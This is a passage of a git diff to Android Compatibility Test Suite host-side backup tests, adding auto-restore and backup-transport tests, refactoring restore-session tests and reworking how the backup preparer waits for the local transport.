+        assertThat(mBackupTransport.getNextFullRestoreDataChunk(null /* socket */)).isEqualTo(0);
+    }
+
+    @Test
+    public void testAbortFullRestore_returnsTransportOk() {
+        assertThat(mBackupTransport.abortFullRestore()).isEqualTo(BackupTransport.TRANSPORT_OK);
+    }
+
+    @Test
+    public void testGetTransportFlags_returnsZero() {
+        assertThat(mBackupTransport.getTransportFlags()).isEqualTo(0);
+    }
+}
diff --git a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupAgent.java b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupAgent.java
index f79baa9..85a96b1 100644
--- a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupAgent.java
+++ b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupAgent.java
@@ -17,6 +17,10 @@
 package android.cts.backup.keyvaluerestoreapp;
 
 import android.app.backup.BackupAgentHelper;
+import android.app.backup.BackupDataInput;
+import android.app.backup.BackupDataOutput;
+import android.os.ParcelFileDescriptor;
+import java.io.IOException;
 
 public class KeyValueBackupAgent extends BackupAgentHelper {
 
@@ -31,4 +35,20 @@
         addHelper(KEY_BACKUP_TEST_FILES_PREFIX,
                 KeyValueBackupRestoreTest.getFileBackupHelper(this));
     }
+
+    @Override
+    public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+        ParcelFileDescriptor newState) throws IOException {
+        // Explicitly override and call super() to help go/android-api-coverage-dashboard pick up
+        // the test coverage (b/113067697).
+        super.onBackup(oldState, data, newState);
+    }
+
+    @Override
+    public void onRestore(BackupDataInput data, int appVersionCode, ParcelFileDescriptor newState)
+        throws IOException {
+        // Explicitly override and call super() to help go/android-api-coverage-dashboard pick up
+        // the test coverage (b/113067697).
+        super.onRestore(data, appVersionCode, newState);
+    }
 }
diff --git a/hostsidetests/backup/OWNERS b/hostsidetests/backup/OWNERS
index c28c4d8..e0e5e22 100644
--- a/hostsidetests/backup/OWNERS
+++ b/hostsidetests/backup/OWNERS
@@ -2,6 +2,7 @@
 # Use this reviewer by default.
 br-framework-team+reviews@google.com
 
+alsutton@google.com
 anniemeng@google.com
 brufino@google.com
 nathch@google.com
diff --git a/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java b/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java
index 06b9ae0..adb7822 100644
--- a/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java
+++ b/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java
@@ -24,7 +24,6 @@
 
 import static org.junit.Assert.assertNotEquals;
 
-import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.app.backup.BackupManager;
 import android.app.backup.BackupManagerMonitor;
@@ -34,10 +33,10 @@
 import android.content.Context;
 import android.os.Bundle;
 
+import androidx.annotation.Nullable;
 import android.platform.test.annotations.AppModeFull;
 import androidx.test.runner.AndroidJUnit4;
 
-// import com.android.compatibility.common.util.SystemUtil;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -55,15 +54,19 @@
 @RunWith(AndroidJUnit4.class)
 @AppModeFull
 public class RestoreSessionTest {
-    private static final String PACKAGE_1 = "android.cts.backup.restoresessionapp1";
-    private static final String PACKAGE_2 = "android.cts.backup.restoresessionapp2";
-    private static final String PACKAGE_3 = "android.cts.backup.restoresessionapp3";
+    private static final String[] PACKAGES = new String[] {
+        "android.cts.backup.restoresessionapp1",
+        "android.cts.backup.restoresessionapp2",
+        "android.cts.backup.restoresessionapp3"
+    };
 
+    private static final int PACKAGES_COUNT = 3;
     private static final int RESTORE_TIMEOUT_SECONDS = 10;
 
     private BackupManager mBackupManager;
     private Set<String> mRestorePackages;
     private Set<String> mNonRestorePackages;
+    private CountDownLatch mRestoreSetsLatch;
     private CountDownLatch mRestoreObserverLatch;
     private RestoreSession mRestoreSession;
     private UiAutomation mUiAutomation;
@@ -89,7 +92,7 @@
 
                     mRestoreToken = token;
 
-                    mRestoreObserverLatch.countDown();
+                    mRestoreSetsLatch.countDown();
                 }
 
                 @Override
@@ -129,19 +132,10 @@
         Context context = getTargetContext();
         mBackupManager = new BackupManager(context);
 
-        mRestorePackages = new HashSet<>();
-        mRestorePackages.add(PACKAGE_1);
-        mRestorePackages.add(PACKAGE_2);
-
-        mNonRestorePackages = new HashSet<>();
-        mNonRestorePackages.add(PACKAGE_3);
-
         mRestoreToken = 0L;
 
         mUiAutomation = getInstrumentation().getUiAutomation();
         mUiAutomation.adoptShellPermissionIdentity();
-
-        loadAvailableRestoreSets();
     }
 
     @After
@@ -151,11 +145,47 @@
 
     /**
      * Restore packages added to mRestorePackages and verify only those packages are restored. Use
+     * {@link RestoreSession#restorePackage(String, RestoreObserver)}
+     */
+
+    @Test
+    public void testRestorePackage() throws InterruptedException {
+        initPackagesToRestore(/* packagesCount */ 1);
+        testRestorePackagesInternal((BackupManagerMonitor monitor) -> {
+            mRestoreSession.restorePackage(
+                mRestorePackages.iterator().next(),
+                mRestoreObserver);
+        }, false);
+    }
+
+    /**
+     * Restore packages added to mRestorePackages and verify only those packages are restored. Use
+     * {@link RestoreSession#restorePackage(String, RestoreObserver, BackupManagerMonitor)}
+     */
+    @Test
+    public void testRestorePackageWithMonitorParam() throws InterruptedException {
+        initPackagesToRestore(/* packagesCount */ 1);
+        testRestorePackagesInternal((BackupManagerMonitor monitor) -> {
+            mRestoreSession.restorePackage(
+                mRestorePackages.iterator().next(),
+                mRestoreObserver,
+                monitor);
+        }, true);
+    }
+
+    /**
+     * Restore packages added to mRestorePackages and verify only those packages are restored. Use
      * {@link RestoreSession#restorePackages(long, RestoreObserver, Set)}
      */
     @Test
     public void testRestorePackages() throws InterruptedException {
-        testRestorePackagesInternal(false);
+        initPackagesToRestore(/* packagesCount */ 2);
+        testRestorePackagesInternal((BackupManagerMonitor monitor) -> {
+            mRestoreSession.restorePackages(
+                mRestoreToken,
+                mRestoreObserver,
+                mRestorePackages);
+        }, false);
     }
 
     /**
@@ -164,24 +194,30 @@
      */
     @Test
     public void testRestorePackagesWithMonitorParam() throws InterruptedException {
-        testRestorePackagesInternal(true);
+        initPackagesToRestore(/* packagesCount */ 2);
+        testRestorePackagesInternal((BackupManagerMonitor monitor) -> {
+            mRestoreSession.restorePackages(
+                mRestoreToken,
+                mRestoreObserver,
+                mRestorePackages,
+                monitor);
+        }, true);
     }
 
-    private void testRestorePackagesInternal(boolean useMonitorParam) throws InterruptedException {
-        // Wait for the callbacks from RestoreObserver: one for each package from
-        // mRestorePackages plus restoreStarting and restoreFinished.
-        mRestoreObserverLatch = new CountDownLatch(mRestorePackages.size() + 2);
+    private void testRestorePackagesInternal(RestoreRunner restoreRunner, boolean useMonitorParam)
+            throws InterruptedException {
         CountDownLatch backupMonitorLatch = null;
         if (useMonitorParam) {
             // Wait for the callbacks from BackupManagerMonitor: one for each package.
             backupMonitorLatch = new CountDownLatch(mRestorePackages.size());
-            mRestoreSession.restorePackages(
-                    mRestoreToken,
-                    mRestoreObserver,
-                    mRestorePackages,
-                    new TestBackupMonitor(backupMonitorLatch));
+            BackupManagerMonitor backupMonitor = new TestBackupMonitor(backupMonitorLatch);
+
+            loadAvailableRestoreSets(backupMonitor);
+
+            restoreRunner.runRestore(backupMonitor);
         } else {
-            mRestoreSession.restorePackages(mRestoreToken, mRestoreObserver, mRestorePackages);
+            loadAvailableRestoreSets(null);
+            restoreRunner.runRestore(null);
         }
 
         awaitResultAndAssertSuccess(mRestoreObserverLatch);
@@ -190,13 +226,16 @@
         }
     }
 
-    private void loadAvailableRestoreSets() throws InterruptedException {
+    private void loadAvailableRestoreSets(@Nullable BackupManagerMonitor monitor)
+            throws InterruptedException {
         // Wait for getAvailableRestoreSets to finish and the callback to be fired.
-        mRestoreObserverLatch = new CountDownLatch(1);
+        mRestoreSetsLatch = new CountDownLatch(1);
         mRestoreSession = mBackupManager.beginRestoreSession();
         assertEquals(
-                BackupManager.SUCCESS, mRestoreSession.getAvailableRestoreSets(mRestoreObserver));
-        awaitResultAndAssertSuccess(mRestoreObserverLatch);
+                BackupManager.SUCCESS, monitor == null
+                ? mRestoreSession.getAvailableRestoreSets(mRestoreObserver)
+                : mRestoreSession.getAvailableRestoreSets(mRestoreObserver, monitor));
+        awaitResultAndAssertSuccess(mRestoreSetsLatch);
 
         assertNotEquals("Restore set not found", 0L, mRestoreToken);
     }
@@ -215,6 +254,23 @@
         assertTrue("Restore timed out", waitResult);
     }
 
+    private void initPackagesToRestore(int packagesCount) {
+        mRestorePackages = new HashSet<>();
+        mNonRestorePackages = new HashSet<>();
+
+        for (int i = 0; i < PACKAGES_COUNT; i++) {
+            if (i < packagesCount) {
+                mRestorePackages.add(PACKAGES[i]);
+            } else {
+                mNonRestorePackages.add(PACKAGES[i]);
+            }
+        }
+
+        // Wait for the callbacks from RestoreObserver: one for each package from
+        // mRestorePackages plus restoreStarting and restoreFinished.
+        mRestoreObserverLatch = new CountDownLatch(mRestorePackages.size() + 2);
+    }
+
     private static class TestBackupMonitor extends BackupManagerMonitor {
         private final CountDownLatch mLatch;
 
@@ -234,4 +290,9 @@
             mLatch.countDown();
         }
     }
+
+    @FunctionalInterface
+    private interface RestoreRunner {
+        void runRestore(BackupManagerMonitor monitor) throws InterruptedException;
+    }
 }
diff --git a/hostsidetests/backup/fullbackupapp/Android.bp b/hostsidetests/backup/fullbackupapp/Android.bp
index 696be0c..a1926d0 100644
--- a/hostsidetests/backup/fullbackupapp/Android.bp
+++ b/hostsidetests/backup/fullbackupapp/Android.bp
@@ -13,7 +13,7 @@
 // limitations under the License.
 
 android_test_helper_app {
-    name: "CtsFullbackupApp",
+    name: "CtsHostsideTestsFullBackupApp",
     defaults: ["cts_defaults"],
     static_libs: [
         "androidx.test.rules",
diff --git a/hostsidetests/backup/src/android/cts/backup/AutoRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AutoRestoreHostSideTest.java
new file mode 100644
index 0000000..99d147c
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/AutoRestoreHostSideTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.compatibility.common.util.BackupUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Optional;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/** Test verifying that {@link BackupManager#setAutoRestore(boolean)} setting is respected. */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
+public class AutoRestoreHostSideTest extends BaseBackupHostSideTest {
+    private static final String PACKAGE = "android.cts.backup.autorestoreapp";
+    private static final String CLASS = PACKAGE + ".AutoRestoreTest";
+    private static final String APK = "CtsAutoRestoreApp.apk";
+
+    private BackupUtils mBackupUtils;
+    private Optional<Boolean> mWasAutoRestoreEnabled = Optional.empty();
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mBackupUtils = getBackupUtils();
+        mWasAutoRestoreEnabled = Optional.of(isAutoRestoreEnabled());
+
+        installPackage(APK);
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+
+        if (mWasAutoRestoreEnabled.isPresent()) {
+            mBackupUtils.executeShellCommandSync(
+                    "bmgr autorestore " + (mWasAutoRestoreEnabled.get() ? "true" : "false"));
+            uninstallPackage(PACKAGE);
+
+            mWasAutoRestoreEnabled = Optional.empty();
+        }
+    }
+
+    /**
+     *
+     *
+     * <ol>
+     *   <li>Enable auto restore
+     *   <li>Write dummy values to shared preferences
+     *   <li>Backup the package
+     *   <li>Uninstall the package
+     *   <li>Install the package again and verify shared prefs are restored
+     * </ol>
+     */
+    @Test
+    public void testSetAutoRestore_autoRestoresDataWhenEnabled() throws Exception {
+        runDeviceProcedure("enableAutoRestore");
+
+        populateSharedPrefs();
+
+        backupAndReinstallPackage();
+
+        runDeviceProcedure("testCheckSharedPrefsExist");
+    }
+
+    /**
+     *
+     *
+     * <ol>
+     *   <li>Disable auto restore
+     *   <li>Write dummy values to shared preferences
+     *   <li>Backup the package
+     *   <li>Uninstall the package
+     *   <li>Install the package again and verify shared prefs aren't restored
+     * </ol>
+     */
+    @Test
+    public void testSetAutoRestore_dontAutoRestoresDataWhenDisabled() throws Exception {
+        runDeviceProcedure("disableAutoRestore");
+
+        populateSharedPrefs();
+
+        backupAndReinstallPackage();
+
+        runDeviceProcedure("testCheckSharedPrefsDontExist");
+    }
+
+    private void populateSharedPrefs() throws Exception {
+        runDeviceProcedure("saveValuesToSharedPrefs");
+        runDeviceProcedure("testCheckSharedPrefsExist");
+    }
+
+    private void backupAndReinstallPackage() throws Exception {
+        mBackupUtils.backupNowAndAssertSuccess(PACKAGE);
+        uninstallPackage(PACKAGE);
+        installPackage(APK);
+    }
+
+    private boolean isAutoRestoreEnabled() throws Exception {
+        String output = mBackupUtils.executeShellCommandAndReturnOutput("dumpsys backup");
+        Pattern pattern = Pattern.compile("Auto-restore is (enabled|disabled)");
+        Matcher matcher = pattern.matcher(output.trim());
+
+        assertThat(matcher.find()).isTrue();
+
+        return "enabled".equals(matcher.group(1));
+    }
+
+    private void runDeviceProcedure(String testName) throws Exception {
+        runDeviceTests(PACKAGE, CLASS, testName);
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
index 11a1dbc..c3626f7 100644
--- a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
+++ b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
@@ -16,6 +16,10 @@
 
 package android.cts.backup;
 
+import static org.junit.Assert.fail;
+
+import com.android.compatibility.common.util.BackupHostSideUtils;
+import com.android.compatibility.common.util.BackupUtils;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.config.OptionClass;
@@ -27,7 +31,11 @@
 import com.android.tradefed.targetprep.ITargetCleaner;
 import com.android.tradefed.targetprep.TargetSetupError;
 
+import java.io.IOException;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CompletionException;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -38,6 +46,7 @@
  */
 @OptionClass(alias = "backup-preparer")
 public class BackupPreparer implements ITargetCleaner {
+    private static final long TRANSPORT_AVAILABLE_TIMEOUT_SECONDS = TimeUnit.MINUTES.toSeconds(5);
     @Option(name="enable-backup-if-needed", description=
             "Enable backup before all the tests and return to the original state after.")
     private boolean mEnableBackup = true;
@@ -52,20 +61,19 @@
 
     private static final String LOCAL_TRANSPORT =
             "com.android.localtransport/.LocalTransport";
-
-    private static final int BACKUP_PROVISIONING_TIMEOUT_SECONDS = 30;
-    private static final int BACKUP_PROVISIONING_POLL_INTERVAL_SECONDS = 1;
+    private final int USER_SYSTEM = 0;
 
     private boolean mIsBackupSupported;
     private boolean mWasBackupEnabled;
     private String mOldTransport;
     private ITestDevice mDevice;
+    private BackupUtils mBackupUtils;
 
     @Override
     public void setUp(ITestDevice device, IBuildInfo buildInfo)
             throws TargetSetupError, BuildError, DeviceNotAvailableException {
         mDevice = device;
-
+        mBackupUtils = BackupHostSideUtils.createBackupUtils(mDevice);
         mIsBackupSupported = mDevice.hasFeature("feature:" + FEATURE_BACKUP);
 
         // In case the device was just rebooted, wait for the broadcast queue to get idle to avoid
@@ -73,11 +81,14 @@
         waitForBroadcastIdle();
 
         if (mIsBackupSupported) {
-            // Enable backup and select local backup transport
-            if (!hasBackupTransport(LOCAL_TRANSPORT)) {
-                throw new TargetSetupError("Device should have LocalTransport available",
-                        device.getDeviceDescriptor());
+            if (!isBackupActiveForSysytemUser()) {
+                throw new TargetSetupError("Cannot run test as backup is not active for system "
+                        + "user", device.getDeviceDescriptor());
             }
+
+            // Enable backup and select local backup transport
+            waitForTransport(LOCAL_TRANSPORT);
+
             if (mEnableBackup) {
                 CLog.i("Enabling backup on %s", mDevice.getSerialNumber());
                 mWasBackupEnabled = enableBackup(true);
@@ -87,7 +98,11 @@
                     mOldTransport = setBackupTransport(LOCAL_TRANSPORT);
                     CLog.d("Old transport : %s", mOldTransport);
                 }
-                waitForBackupInitialization();
+                try {
+                    mBackupUtils.waitForBackupInitialization();
+                } catch (IOException e) {
+                    throw new TargetSetupError("Backup not initialized", e);
+                }
             }
         }
     }
@@ -99,7 +114,8 @@
 
         if (mIsBackupSupported) {
             if (mEnableBackup) {
-                CLog.i("Returning backup to it's previous state on %s", mDevice.getSerialNumber());
+                CLog.i("Returning backup to it's previous state on %s",
+                        mDevice.getSerialNumber());
                 enableBackup(mWasBackupEnabled);
                 if (mSelectLocalTransport) {
                     CLog.i("Returning selected transport to it's previous value on %s",
@@ -110,17 +126,58 @@
         }
     }
 
-    // Copied over from BackupQuotaTest
-    private boolean hasBackupTransport(String transport) throws DeviceNotAvailableException {
+    private void waitForTransport(String transport) throws TargetSetupError {
+        try {
+            waitUntilWithLastTry(
+                    "Local transport didn't become available",
+                    TRANSPORT_AVAILABLE_TIMEOUT_SECONDS,
+                    lastTry -> uncheck(() -> hasBackupTransport(transport, lastTry)));
+        } catch (InterruptedException e) {
+            throw new TargetSetupError(
+                    "Device should have LocalTransport available", mDevice.getDeviceDescriptor());
+        }
+    }
+
+    private boolean hasBackupTransport(String transport, boolean logIfFail)
+            throws DeviceNotAvailableException, TargetSetupError {
         String output = mDevice.executeShellCommand("bmgr list transports");
         for (String t : output.split(" ")) {
             if (transport.equals(t.trim())) {
                 return true;
             }
         }
+        if (logIfFail) {
+            throw new TargetSetupError(
+                    transport + " not available. bmgr list transports: " + output,
+                    mDevice.getDeviceDescriptor());
+        }
         return false;
     }
 
+    /**
+     * Calls {@code predicate} with {@code false} until time-out {@code timeoutSeconds} is reached,
+     * if {@code predicate} returns true, method returns. If time-out is reached before that, we
+     * call {@code predicate} with {@code true} one last time, if that last call returns false we
+     * fail with {@code message}.
+     *
+     * TODO: Move to CommonTestUtils
+     */
+    private static void waitUntilWithLastTry(
+            String message, long timeoutSeconds, Function<Boolean, Boolean> predicate)
+            throws InterruptedException {
+        int sleep = 125;
+        final long timeout = System.currentTimeMillis() + timeoutSeconds * 1000;
+        while (System.currentTimeMillis() < timeout) {
+            if (predicate.apply(false)) {
+                return;
+            }
+            Thread.sleep(sleep);
+        }
+        if (!predicate.apply(true)) {
+            fail(message);
+        }
+    }
+
     // Copied over from BackupQuotaTest
     private boolean enableBackup(boolean enable) throws DeviceNotAvailableException {
         boolean previouslyEnabled;
@@ -149,27 +206,6 @@
         }
     }
 
-    private void waitForBackupInitialization()
-        throws TargetSetupError, DeviceNotAvailableException {
-        long tryUntilNanos = System.nanoTime()
-            + TimeUnit.SECONDS.toNanos(BACKUP_PROVISIONING_TIMEOUT_SECONDS);
-        while (System.nanoTime() < tryUntilNanos) {
-            String output = mDevice.executeShellCommand("dumpsys backup");
-            if (output.matches("(?s)"  // DOTALL
-                + "^Backup Manager is .* not pending init.*")) {
-                return;
-            }
-            try {
-                Thread.sleep(TimeUnit.SECONDS.toMillis(BACKUP_PROVISIONING_POLL_INTERVAL_SECONDS));
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-                break;
-            }
-        }
-        throw new TargetSetupError("Timed out waiting for backup initialization",
-            mDevice.getDeviceDescriptor());
-    }
-
     // Copied over from BaseDevicePolicyTest
     private void waitForBroadcastIdle() throws DeviceNotAvailableException, TargetSetupError {
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
@@ -190,4 +226,21 @@
         }
     }
 
+    private boolean isBackupActiveForSysytemUser() {
+        try {
+            return mBackupUtils.isBackupActivatedForUser(USER_SYSTEM);
+        } catch (IOException e) {
+            throw new RuntimeException("Failed to check backup activation status");
+        }
+    }
+
+    private static <T> T uncheck(Callable<T> callable) {
+        try {
+            return callable.call();
+        } catch (RuntimeException e) {
+            throw e;
+        } catch (Exception e) {
+            throw new CompletionException(e);
+        }
+    }
 }
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupTransportHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BackupTransportHostSideTest.java
new file mode 100644
index 0000000..a6a4f3a
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/BackupTransportHostSideTest.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup;
+
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+/** Test verifying the default implementation of {@link BackupTransport} */
+// TODO(b/135920714): Move this test to device-side once it's possible to use both system and test
+// APIs in the same target.
+public class BackupTransportHostSideTest extends BaseBackupHostSideTest {
+    private static final String PACKAGE = "android.cts.backup.backuptransportapp";
+    private static final String CLASS = PACKAGE + ".BackupTransportTest";
+    private static final String APK = "CtsBackupTransportApp.apk";
+
+    @Test
+    public void testBackupTransport() throws Exception {
+        installPackage(APK);
+        assertTrue(runDeviceTests(PACKAGE, CLASS));
+        uninstallPackage(PACKAGE);
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseMultiUserBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseMultiUserBackupHostSideTest.java
index 81737e9..26c6345 100644
--- a/hostsidetests/backup/src/android/cts/backup/BaseMultiUserBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/BaseMultiUserBackupHostSideTest.java
@@ -23,7 +23,7 @@
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.util.BackupUtils;
-import com.android.compatibility.common.util.HostSideTestUtils;
+import com.android.compatibility.common.util.CommonTestUtils;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -58,7 +58,7 @@
             FULL_BACKUP_TEST_PACKAGE + ".ProfileFullBackupRestoreTest";
 
     protected final BackupUtils mBackupUtils = getBackupUtils();
-    protected ITestDevice mDevice;
+    private ITestDevice mDevice;
 
     // Store initial device state as Optional as tearDown() will execute even if we have assumption
     // failures in setUp().
@@ -138,15 +138,16 @@
      * Selects the local transport as the current transport for user {@code userId}. Returns the
      * {@link String} name of the local transport.
      */
-    String switchUserToLocalTransportAndAssertSuccess(int userId) throws IOException {
+    String switchUserToLocalTransportAndAssertSuccess(int userId)
+            throws Exception {
         // Make sure the user has the local transport.
         String localTransport = mBackupUtils.getLocalTransportName();
 
         // TODO (b/121198010): Update dumpsys or add shell command to query status of transport
         // initialization. Transports won't be available until they are initialized/registered.
-        HostSideTestUtils.waitUntil("wait for user to have local transport",
+        CommonTestUtils.waitUntil("wait for user to have local transport",
                 TRANSPORT_INITIALIZATION_TIMEOUT_SECS,
-                () -> mBackupUtils.userHasBackupTransport(localTransport, userId));
+                () -> userHasBackupTransport(localTransport, userId));
 
         // Switch to the local transport and assert success.
         mBackupUtils.setBackupTransportForUser(localTransport, userId);
@@ -155,6 +156,18 @@
         return localTransport;
     }
 
+    // TODO(b/139652329): Move to backup utils.
+    private boolean userHasBackupTransport(
+            String transport, int userId) throws DeviceNotAvailableException {
+        String output = mDevice.executeShellCommand("bmgr --user " + userId + " list transports");
+        for (String t : output.split(" ")) {
+            if (transport.equals(t.replace("*", "").trim())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     /** Runs "bmgr --user <id> wipe <transport> <package>" to clear the backup data. */
     void clearBackupDataInTransportForUser(String packageName, String transport, int userId)
             throws DeviceNotAvailableException {
diff --git a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
index 4fa4469..25c59d6 100644
--- a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
@@ -20,7 +20,7 @@
 
 import android.platform.test.annotations.AppModeFull;
 
-import com.android.compatibility.common.util.HostSideTestUtils;
+import com.android.compatibility.common.util.CommonTestUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
@@ -44,7 +44,7 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        int profileUserId = createProfileUser(mDevice.getCurrentUser(), "MU-State");
+        int profileUserId = createProfileUser(getDevice().getCurrentUser(), "MU-State");
         mProfileUserId = Optional.of(profileUserId);
         startUser(profileUserId);
     }
@@ -54,7 +54,7 @@
     @Override
     public void tearDown() throws Exception {
         if (mProfileUserId.isPresent()) {
-            assertTrue(mDevice.removeUser(mProfileUserId.get()));
+            assertTrue(getDevice().removeUser(mProfileUserId.get()));
             mProfileUserId = Optional.empty();
         }
         super.tearDown();
@@ -77,10 +77,10 @@
 
         assertTrue(mBackupUtils.isBackupActivatedForUser(profileUserId));
 
-        assertTrue(mDevice.removeUser(profileUserId));
+        assertTrue(getDevice().removeUser(profileUserId));
         mProfileUserId = Optional.empty();
 
-        HostSideTestUtils.waitUntil("wait for backup to be deactivated for removed user",
+        CommonTestUtils.waitUntil("wait for backup to be deactivated for removed user",
                 TIMEOUT_SECONDS, () -> !mBackupUtils.isBackupActivatedForUser(profileUserId));
     }
 }
diff --git a/hostsidetests/backup/src/android/cts/backup/ProfileScheduledJobHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/ProfileScheduledJobHostSideTest.java
index 7eff018..874282b 100644
--- a/hostsidetests/backup/src/android/cts/backup/ProfileScheduledJobHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/ProfileScheduledJobHostSideTest.java
@@ -21,6 +21,9 @@
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.util.BackupUtils;
+import com.android.compatibility.common.util.ProtoUtils;
+import com.android.server.job.JobSchedulerServiceDumpProto;
+import com.android.server.job.JobStatusShortInfoProto;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -29,10 +32,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.IOException;
 import java.util.Optional;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
 
 /** Test that key-value and full backup jobs are scheduled in a profile. */
 @RunWith(DeviceJUnit4ClassRunner.class)
@@ -60,7 +60,6 @@
     private static final int TIMEOUT_FOR_KEY_VALUE_SECONDS = 5 * 60; // 5 minutes.
     private static final int TIMEOUT_FOR_FULL_BACKUP_SECONDS = 5 * 60; // 5 minutes.
 
-    private static final String DUMPSYS_JOB_SCHEDULER = "dumpsys jobscheduler";
     private static final String JOB_SCHEDULER_RUN_COMMAND = "cmd jobscheduler run -f android";
 
     private final BackupUtils mBackupUtils = getBackupUtils();
@@ -196,10 +195,19 @@
     }
 
     /** Returns {@code true} if there is a system job scheduled with the specified parameters. */
-    private boolean isSystemJobScheduled(int jobId, String jobName) throws IOException {
-        String output = mBackupUtils.executeShellCommandAndReturnOutput(DUMPSYS_JOB_SCHEDULER);
-        String jobRegex = String.format("JOB #1000/%d.*%s", jobId, jobName);
-        Matcher matcher = Pattern.compile(jobRegex).matcher(output.trim());
-        return matcher.find();
+    private boolean isSystemJobScheduled(int jobId, String jobName) throws Exception {
+        // TODO: Look into making a higher level adb command or a system API for this instead.
+        //  (e.g. "adb shell cmd jobscheduler is-job-scheduled system JOB-ID JOB-NAME")
+        final JobSchedulerServiceDumpProto dump =
+                ProtoUtils.getProto(mDevice, JobSchedulerServiceDumpProto.parser(),
+                        ProtoUtils.DUMPSYS_JOB_SCHEDULER);
+        for (JobSchedulerServiceDumpProto.RegisteredJob job : dump.getRegisteredJobsList()) {
+            final JobStatusShortInfoProto info = job.getInfo();
+            if (info.getCallingUid() == 1000 && info.getJobId() == jobId
+                    && jobName.equals(info.getBatteryName())) {
+                return true;
+            }
+        }
+        return false;
     }
 }
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
index 9c5d890..89e2539 100644
--- a/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
@@ -72,10 +72,25 @@
         }
     }
 
+    /** Test {@link RestoreSession#restorePackage(RestoreObserver, String)} */
+    @Test
+    public void testRestorePackage() throws Exception {
+        testRestorePackagesInternal("testRestorePackage", /* packagesToRestore */ 1);
+    }
+
